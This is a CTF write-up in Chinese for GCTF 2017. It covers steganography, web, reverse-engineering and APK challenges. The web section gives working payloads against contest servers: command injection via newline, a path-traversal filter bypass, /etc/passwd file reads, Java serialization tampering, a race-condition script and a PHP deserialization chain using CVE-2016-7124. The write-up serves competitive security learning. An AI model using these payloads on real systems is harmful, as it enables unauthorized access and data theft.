GCTF2017部分write up
Misc
stage1
拿到题看到是一张图片隐写
用神器Stegsolve看看发现左上角藏着一张二维码
截下来,不能直接扫,需要反色处理一下
扫出来是一串十六进制
看头几个十六进制数发现是pyc文件
用十六进制编辑器生成pyc文件,再反编译一下即可
最终得到flag
test.pyc
看到是pyc文件第一件事情就是反编译,用uncompyle2反编译可得到部分代码:
从上面的代码可以看到有一部分base64编码,在经过尝试后可以发现这个是一段base64代
码的倒叙排列,把它们拼在一起然后反转:
然后解码:
从中间的两个符号“|”与“~”,“|”后面又有4个字母,可以判断这个是
一个倒叙的凯撒加密字符串,反转过来得
字母“g”与字母 “f”之间相差1,写个脚本,各项减1即可得到flag。
reverseme
开始用IDA打开什么都没有发现,后来用010 Editor打开看了看,发
现字符都是反的(像Photoshop变成了pohsotohP):
写个脚本全部颠倒过来:
输出直接显示是一张图片:
可以发现是颠倒的,用软件水平反转一下就可以了:
Web
热身题
一进去就让扫端口…
先不管它...扫一下目录,发现有robots.txt
东西还不少,挑几个看起来像是会藏flag的,一个个进去试,最终在rob0t.php中拿到Flag
还好手速够快,抢了二血,可惜没抢到一血。
Forbidden
Burpsuite抓包发现问题
首先,这个服务器是Nginx服务器,而Forbidden的却是Apache服务器,可以断定这是伪造的403。向下翻可以看见Hint
本地访问限制来源IP想到XFF,于是加上XFF头“X-Forwarded-For: localhost”
又看到回显中提到了一个“Apache/2.4 (CentOS) DAV/2 Server at www.topsec.com Port 80”
根据提示,在请求头中把Host改成域名访问,即“Host: www.topsec.com”
更改Referer:为“Referer: www.baidu.com”
请求头中添加“X-Requested-With: XMLHttpRequest”
更改User-Agent为“User-Agent: Mozilla/5.0 (compatible:MSIE 4.0)”
继续更改User-Agent为“User-Agent: Mozilla/5.0 (compatible:MSIE 4.0;.NET CLR 8.0 )”
限制国外用户访问,可以更改语言
更改Accept-Language为“Accept-Language: de-DE
向上翻,可以看到服务器发送过来一个cookie
这个cookie十六进制解码发现是Base64字符串,在解码又是十六进制,再次解码发现是
于是将false改为true,再反着编码回去,最终将cookie设置为
“Cookie:login=4e7a51334d6a63314e6a553d”
最终得到flag
完整Payload如下:
变态验证码怎么破
我也想知道怎么破! 我也很绝望啊!
总之这道题一开始的想法是图像识别验证码 然后爆破字典
于是
然后这道题就被我放置了。
之后回来再看觉得一道web题这么搞是不是画风不太对
就抓包开始改参数
发现当PHPSESSION和 vcode 清空时 验证码这里就被绕过了
之后的事情就很简单了
burpsuite爆破
返回长度不一样的就是正确的
拿到flag
GCTF{Qb8HR4pGmScMqgxTSwP7QZmb}
Java序列化
首先随便输点什么看看流程
发现有个302跳转,跳转地址后面还跟了base64编码过的参数,根据题目名称和参数名猜测可能是经过base64编码后的Java序列化串
先把这个参数解码,发现是十六进制字节码,后面能看到刚才post的参数。
记下来,继续跟进
于是看到登录条件:name == admin 和 id == 1
重新来一遍流程,把输入改成admin,结果还是一样,id参数并不知道在哪里输入,猜测可能在那串base64编码过后的Java序列化串中
学习一波Java序列化的格式
具体参考:
https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html#a10258
根据格式,确定出id参数值的位置
按照登录条件,将其更改为“00 00 00 01”
再进行base64编码,放入302跳转地址的参数中,得到flag
最终跳转参数中未编码的Payload如下:
\xac\xed\x00\x05sr\x00\x0fcom.ctf.cn.User\x00\x00\x00\x00\x03\xf9/\xbd\x02\x00\x02L\x00\x02idt\x00\x13Ljava/lang/Integer;L\x00\x04namet\x00\x12Ljava/lang/String;xpsr\x00\x11java.lang.Integer\x12\xe2\xa0\xa4\xf7\x81\x878\x02\x00\x01I\x00\x05valuexr\x00\x10java.lang.Number\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00xp\x00\x00\x00\x01t\x00\x05admin
编码后:
/ctfobj/Login?object=rO0ABXNyAA9jb20uY3RmLmNuLlVzZXIAAAAAA/kvvQIAAkwAAmlkdAATTGphdmEvbGFuZy9JbnRlZ2VyO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABdAAFYWRtaW4=
RCE绕过
点击test抓包发现
它将cmd参数中的值直接拼接在curl和flag.php之间
还过滤掉了一些字符(! @ # % ` & ( )> ? 空格 { } 等等)
发现$号没被过滤掉
于是一开始打算利用$IFS隔开curl与flag.php
然而没什么用
然后想到了换行符的url编码%0a,然后配合没被过滤掉的”\”执行curl命令
然而还是没什么用
接着查找资料,偶然在一篇文章中发现
在shell脚本中换行符分隔的两个命令相当于两条独立的命令
所以完全可以不用管curl命令,重新起一行cat flag.php
虽然$IFS是不能用的,但是可以用制表符的url编码%09代替,于是%0a配合%09,拿到flag
最终的Payload如下:
http://218.2.197.232:18006/?cmd=%0acat%09
(队友吐槽这题的flag挺丑的...不过确实挺丑...像是滚键盘随便滚出来的)
读文件
抓包发现一个类似文件包含的地址
发现确实是文件包含
但是手动找一下1.txt
并不再当前目录,在其他目录找了也没有,于是这个参数默认给的“./”就很可疑了
题目说要读flag文件,就先确定一下这个flag文件在哪,发现也在/a/目录下,试着用文件包含的参数读一下
看来过滤了关键词flag
以为是要编码绕过flag关键词,于是各种编码尝试,unicode同形字一个个试,结果都不行...
后来尝试读取/etc/passwd发现也过滤了etc关键词
尝试了很多读其他文件的方法都没有成功,所以只能从当前目录读取flag,php
但是偶然发现
这样也是可以读取1.txt的
于是猜想可能是过滤掉了“./”
继续尝试
果然这样也是可以正常读取1.txt的
于是就可以在flag字符串中加入“./”来绕过过滤
但是在前面已经发现1.txt和flag.php不再同一目录下,所以开点脑洞,猜想flag.php可能在1.txt的上一级目录中。
因为过滤了“./”,所以可以构造“...//”,当过滤掉中间的“./”后就变成了“../”
于是构造Payload,最终获取flag
最终Payload如下
218.2.197.232:18008/a/down.php?p=...//fl./ag.php
条件竞争
自带源码,简单分析一下。
改密码的过程是先删掉帐号重新添加再添加成非管理员
瞎写一个脚本
#!/usr/bin/python
#coding=utf-8
import threading
import requests
import re
login_url = 'http://218.2.197.242:18009/login.php?method=login'
reset_url = 'http://218.2.197.242:18009/index.php?method=reset'
s = requests.Session()
r = s.get( 'http://218.2.197.242:18009/' )
#print r.text
res = r.text
p1 = r"value=\"(.*?)\""
pattern = re.compile( p1 )
matcher = re.search( pattern , res )
ss = matcher.group()
usr = ss[7:23]
#print ss[6:24]
login_data = { 'name' : usr , 'password' : usr }
reset_data = { 'name' : usr , 'password' : usr }
def reset():
r = s.post (url = reset_url , data = reset_data )
print r.text
def login():
r = s.post( url = login_url , data = login_data )
print r.text
print r.headers
for i in range(10):
threading.Thread( target = reset ).start()
threading.Thread( target = login ).start()
threading.Thread( target = login ).start()
threading.Thread( target = login ).start()
由于是瞎写的 成功率真的很低
、
GCTF{KBnLGG6qR2ZdYe4HbUL8XpAP}
spring-css _web
看这道题的时候我是懵逼的
用户名密码都能输入,登录点不了,是个阉割版。
CSS看了一遍又一遍没什么卵用。
搜索来搜索去也没有什么有用的信息。
走投无路打开github 一搜
一模一样(正色)
http://218.2.197.232:18015/spring-css/resources/file:/etc/passwd
payload : http://218.2.197.232:18015/spring-css/resources/file:/etc/flag
得到flag
GCTF{db839442402f5874}
PHP序列化
先查看源码
看见还有个“query.php”,访问看一看
发现“Look me: edit by vim ~0~”
query.php~源码泄露
但只是部分源码
/************************/
/*
//query.php
部分代码
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
public $token;
public $ticket;
public $username;
public $password;
function login(){
//if($this->username == $USERNAME && $this->password == $PASSWORD){ //
抱歉
$this->username =='aaaaaaaaaaaaaaaaa'&& $this->password == 'bbbbbbbbbbbbbbbbbb'){
return 'key is:{'.$this->token.'}';
}
}
}
class TOPB{
public $obj;
public $attr;
function __construct(){
$this->attr = null;
$this->obj = null;
}
function __toString(){
$this->obj = unserialize($this->attr);
$this->obj->token = $FLAG;
if($this->obj->token === $this->obj->ticket){
return (string)$this->obj;
}
}
}
class TOPC{
public $obj;
public $attr;
function __wakeup(){
$this->attr = null;
$this->obj = null;
}
function __destruct(){
echo $this->attr;
}
}
*/
结合题目,又在index.php中看见了“ini_set('session.serialize_handler', 'php_serialize');”
所以这是一道session序列化的题目
具体知识可参考
http://www.tuicool.com/articles/zEfuEz
PHP中内置了三种处理器用于对Session数据存储时的序列化及反序列化操作
处理器 |
对应的存储格式 |
php |
键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary |
键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize(php>=5.5.4) |
经过 serialize() 函数反序列处理的数组 |
在php.ini中又有如下配置
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php。
原理:
正是由于有三种不同的处理器,他们的存储格式也不同,当PHP反序列化已经存储的Session数据时所使用的处理器与当时在序列化Session数据时使用的处理器不是同一种处理器的话,就会导致格式不同,无法正确反序列化,甚至可以通过构造伪造任意数据。
思路:
在index.php中,设置了ini_set('session.serialize_handler', 'php_serialize');
则在index.php中使用php_serialize处理器对Session数据进行存储
而在query.php中使用了默认的处理器(php)对Session数据进行读取
这样就导致了注入,可在index.php中的src参数构造特殊的序列化串存储,然后在同一个Session下访问query.php,对刚才的存储的Session数据进行读取,从而实例化出一个TOPA对象调用login()函数得到flag
进行反序列化首先就要找到__weakup( )函数,在TOPC中。
而TOPC中的__destruct( )函数又会将TOPC的$attr打印出来。
然后再看TOPB中刚好有__toString( )函数,在此函数中首先将TOPB的$attr反序列化,放入TOPB的$obj中,再把flag放在TOPB的$obj中的$token中,然后判断TOPB的$obj中的$token是否和$ticket相等。
再向上看TOPA中刚好有$token和$ticket,而TOPA中的login( )又可打印flag。
因此可以根据这些逻辑构造出payload:
TOPA中$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'是两个弱类型比较,所以username和password为0即可。而ticket引用token即可通过TOPB中的$this->obj->token === $this->obj->ticket
再看TOPC中的__weakup( )直接将$obj和$attr置空,这里就需要用到CVE-2016-7124使__weakup( )函数失效
…“TOPC”:num:{ … 只要这里的num大于2即可
则将payload改为
首先访问
再直接访问
http://218.2.197.232:18017/query.php
即可拿到flag
Payload如下:
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
Reverse
Hackme
IDA打开后主要函数是sub_400F8E,附图
用 arr 的每一项与 v9 异或即为flag, 脚本如下
#!usr/bin/env python
byte = [0x5f,0xf2,0x5e,0x8b,0x4e,0x0e,0xa3,0xaa,0xc7,0x93,0x81,0x3d,0x5f,0x74,0xa3,0x9,0x91,0x2b,0x49,0x28,0x93,0x67]
flag = ""
for i in range(0,22):
v9 = 0
for v8 in range(0,i+1):
v9 = v9 * 1828812941 + 12345
flag += chr((v9^byte[i])&0xff)
print flag
debug.exe
.NET 逆向, 用ILSpy打开后, 核心代码如下
internal class MM
{
private static int C(int A_0, int A_1)
{
return (new int[]
{
2,
3,
5,
7,
11,
13,
17,
19,
23,
29,
31,
37,
41,
43,
47,
53,
59,
61,
67,
71,
73,
79,
83,
89,
97,
101,
103,
107,
109,
113
})[A_1] ^ A_0;
}
private static string flag(string A_0)
{
byte[] bytes = Encoding.ASCII.GetBytes(A_0);
return "flag{" + BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(bytes)).Replace("-", "") + "}";
}
private static void count(string A_0, int A_1, ref string A_2)
{
int num = 0;
if (0 < A_0.Length)
{
do
{
char c = A_0[num];
int num2 = 1;
do
{
c = Convert.ToChar(MM.C(Convert.ToInt32(c), num2));
num2++;
}
while (num2 < 15);
A_2 += c;
num++;
}
while (num < A_0.Length);
}
A_2 = MM.flag(A_2);
}
private static void main(string[] A_0)
{
string b = null;
string value = string.Format("{0}", DateTime.Now.Hour + 1);
string a_ = "CreateByTenshine";
MM.count(a_, Convert.ToInt32(value), ref b);
string a = Console.ReadLine();
if (a == b)
{
Console.WriteLine("u got it!");
Console.ReadKey(true);
}
else
{
Console.Write("wrong");
}
Console.ReadKey(true);
}
}
c#脚本
u
sing System;
using System.Security.Cryptography;
using System.Text;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
string a = "[j}yl}ZaL}vkpqv}";
byte[] bytes = Encoding.ASCII.GetBytes(a);
string b = "flag{" + BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(bytes)).Replace("-", "") + "}";
Console.WriteLine(b);
Console.ReadLine();
}
}
}
Mobile
APK逆向
jeb 反编译后 , 主要为checkSN函数
java脚本
import java.security.MessageDigest;
public class pp{
public static String toHexString(byte[] arg8, String arg9) {
StringBuilder v3 = new StringBuilder();
byte[] v0 = arg8;
int v5 = v0.length;
int v4;
for(v4 = 0; v4 < v5; ++v4) {
String v2 = Integer.toHexString(v0[v4] & 255);
if(v2.length() == 1) {
v3.append('0');
}
v3.append(v2).append(arg9);
}
return v3.toString();
}
public static void flag(){
String arg11 = "Tenshine";
try{
MessageDigest v1 = MessageDigest.getInstance("MD5");
v1.reset();
v1.update(arg11.getBytes());
String v3 = toHexString(v1.digest(), "");
StringBuilder v5 = new StringBuilder();
int v4;
for(v4 = 0; v4 < v3.length(); v4 += 2) {
v5.append(v3.charAt(v4));
}
System.out.println("flag{");
System.out.println(v5.toString());
System.out.println("}");
}
catch(Exception e){
System.out.println("Wrong!");
}
}
public static void main(String[] agre){
flag();
}
}
Srpopty、yomumax、catling、jx74224@Blue-Whale-Fresh16
GCTF2017部分write up的更多相关文章
- 【CTF WEB】GCTF-2017读文件
读文件 只给了个1.txt可以读,试了一下加*不行,感觉不是命令执行,"../"返回上级目录也不行,猜测可能过滤了什么,在1.txt中间加上"./"发现仍能读取 ...
随机推荐
- bzoj3112 [Zjoi2013]防守战线
正解:线性规划. 直接套单纯形的板子,因为所约束条件都是>=号,且目标函数为最小值,所以考虑对偶转换,转置一下原矩阵就好了. //It is made by wfj_2048~ #include ...
- 【算法系列学习】状压dp [kuangbin带你飞]专题十二 基础DP1 D - Doing Homework
https://vjudge.net/contest/68966#problem/D http://blog.csdn.net/u010489389/article/details/19218795 ...
- 使用Angular 4、Bootstrap 4、TypeScript和ASP.NET Core开发的Apworks框架案例应用:Task List
最近我为我自己的应用开发框架Apworks设计了一套案例应用程序,并以Apache 2.0开源,开源地址是:https://github.com/daxnet/apworks-examples,目的是 ...
- JavaScript利用闭包循环绑定事件
我们经常在做前端面试题的时候,会遇到循环绑定事件后,输出打印结果,很多人总是搞不清楚,今天借此机会跟大家梳理一下闭包相关作用. 1.首先我们举一个简单的例子. html部分: <a href=& ...
- [刷题]算法竞赛入门经典(第2版) 6-8/UVa806 - Spatial Structures
题意:黑白图像的路径表示法 代码:(Accepted,0.120s) //UVa806 - Spatial Structures //Accepted 0.120s //#define _XIENAO ...
- Java过滤敏感词语/词汇---DFA算法
最近网站需要在评论.投稿等地方过滤敏感词汇,于是在网上查找了相关教程,特此整理分享. 关于DFA算法,详细的可以去http://blog.csdn.net/u013378306/article/det ...
- wget-文件下载工具
阅读目录:详解wget命令-文件下载工具 安装wget 命令格式 命令功能 参数指南 启动参数 记录和输入文件参数 下载参数 目录参数 http选项参数 ftp选项参数 递归下载参数 递归下载中的包含 ...
- CentOS 7.2下安装Mono 5.0
微软Build2017大会期间.NET领域的.NET core之外,就是Visual Studio For Mac,大家都知道Visual Studio For Mac 是基于Mono运行的,Mono ...
- Windows Server 2016中,安装PHP Manager,ARR3.0或者URL Rewrite 2.0无法成功的解决办法
如图: 无法安装原因都是这几个工具无法识别10.0这个版本,可以修改注册表来先完成安装,然后再改回去 PHPManager的修改方法如下: 打开注册表工具(运行Regedt32),找到:HKEY_LO ...
- javaWeb学习总结(11)- 监听器(Listener)学习
一.监听器介绍 1.1.监听器的概念 监听器是一个专门用于对其他对象身上发生的事件或状态改变进行监听和相应处理的对象,当被监视的对象发生情况时,立即采取相应的行动.监听器其 实就是一个实现特定接口的普 ...